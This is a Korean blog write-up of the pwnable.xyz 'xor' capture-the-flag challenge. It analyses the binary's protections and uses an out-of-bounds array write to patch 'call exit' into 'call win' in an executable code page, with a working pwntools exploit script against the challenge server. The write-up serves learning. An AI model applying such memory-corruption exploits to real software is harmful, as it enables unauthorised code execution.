상세 컨텐츠

본문 제목

[pwnable.xyz] xor

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 28. 00:58

본문

728x90
반응형

이번 문제도 한번도 안 해본 방법(?)인 문제였다.

전체적인 형식은 add나 sub와 똑같아서 세 변수 중 두 변수로 값을 조절하고, 다른 한 변수로는 리턴할 곳을 조절하는 것으로 같았다.

 

하지만 이번에는 FULL RELRO가 적용되어 있어서 원하는 win 함수 주소를 쓸 수 있는 곳을 찾다가...

기계어까지 적게 되었다...

 

차근차근 해보자..!

 

What can you access and what are you going to write?

 

# checksec : 보호기법 확인

 

FULL RELRO, NX로 실행과 쓰기 권한이 제한된다!

 

 

# IDA

 

> win 함수

 

 

일단 win 함수에서 flag 를 출력하니까 return addresswin 함수 주소로 변조하던가 win 함수 주소로 리턴하는 형태일 것 

 

> main 함수

 

 

main 함수 코드를 보고 지금까지 푼 add와 sub와 똑같아서 바로 result의 주소를 봤다. 

 

 

 

result 주소 : 0x202200

 

 

^ 는 C 언어에서 XOR 연산자이다.

 

 

우리는 v5 ^ v4 연산 결과로 win 함수 주소를 주고싶다. ( 정확히는 call win을 주고싶지만,,)

따라서 win 함수의 주소를 봤다.

 

win 함수 주소 : 0xa21

 

# process

 

 

유일하게 실행권한이 있는 영역은 rwxp 권한이 주어진 55c5fdc6a000-55c5fdc6b000 영역이다.

 

 

이 영역에는 main 함수의 instruction 도 포함된다.

 

 

 

main 함수의 마지막에 call exit을 하는데, 이 부분을 call win 으로 바꾸면 win 함수를 호출해서 flag를 출력할 수 있다.

 

즉, 0xac8 주소의 기계어로 되어있는 instruction인 call exit 를 call win으로 바꿔서 주면 된다.

 

call win을 little endian 으로 바꿔서 v5 ^ v4 가 되도록 v5와 v4를 준다.

 

result + v6 에 값을 넣는 것이므로, result[v6]인 위치가 0xac8이 되어야 한다. 

(우리가 call win instruction을 실행하도록 하는 곳을 주소가 0xac8 이므로...)

따라서 0xac8 - 0x202200 을 10진수로 구해서 거리를 구한 후,

배열에 넣는 것이므로 각 주소 당 8 바이트 씩으로 인덱스인 v6를 구하면

 

(0xac8 - 0x202200) / 8 = v6

 

이 된다.

 

#!/usr/bin/python                                                                      
from pwn import *

r = remote("svc.pwnable.xyz", 30029)
p = ELF("./challenge")
exit_addr = 0xac8
win_addr = 0xa21
result = 0x202200

r.recvuntil("The Poopolator\n")

p.asm(exit_addr, "call 0xa21")
put = p.read(exit_addr, 5)
put = int(put[::-1].encode("Hex"), 16)

v4 = 1
v5 = put^1
v6 = (exit_addr - result) / 8

input_num = str(v4) + " " + str(v5) + " " + str(v6)

r.sendafter("   ", input_num+"\n")
r.sendafter("   ", 'A')

r.interactive()

 

exit_addr“call 0xa21”asm을 사용해서 기계어로 바꾼다.

exit_addr 에서 5바이트만큼을 읽어서 step-1로 해서 반대로 바꾼다.

그리고 이거는 string이니까 hex로 바꾸기 위해서 put[::-1].encode(“Hex”)를 해서 hex로 바꾼다.

 

https://2thet0p.tistory.com/67

 

이렇게 바꾸고 나면 여전히 ‘’안에 들어있는, 즉 문자열 형에서 16진수로 변환된 것이므로 이거를 숫자로 읽어야 하므로 형변환을 16진수로 해서 int( , 16)을 씌워준다.

(“   다음에 값을 주는 이유는입력받을 때 보니까 이 정도 빈칸이 있었기 때문이다…)

 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets - shell (pwnable)  (0) 2019.11.02
[pwnable.xyz] two targets (pwnable)  (0) 2019.11.02
[pwnable.xyz] Grownup  (0) 2019.09.27
[pwnable.xyz] note  (0) 2019.09.27
[pwnable.xyz] misalignment  (0) 2019.09.17

관련글 더보기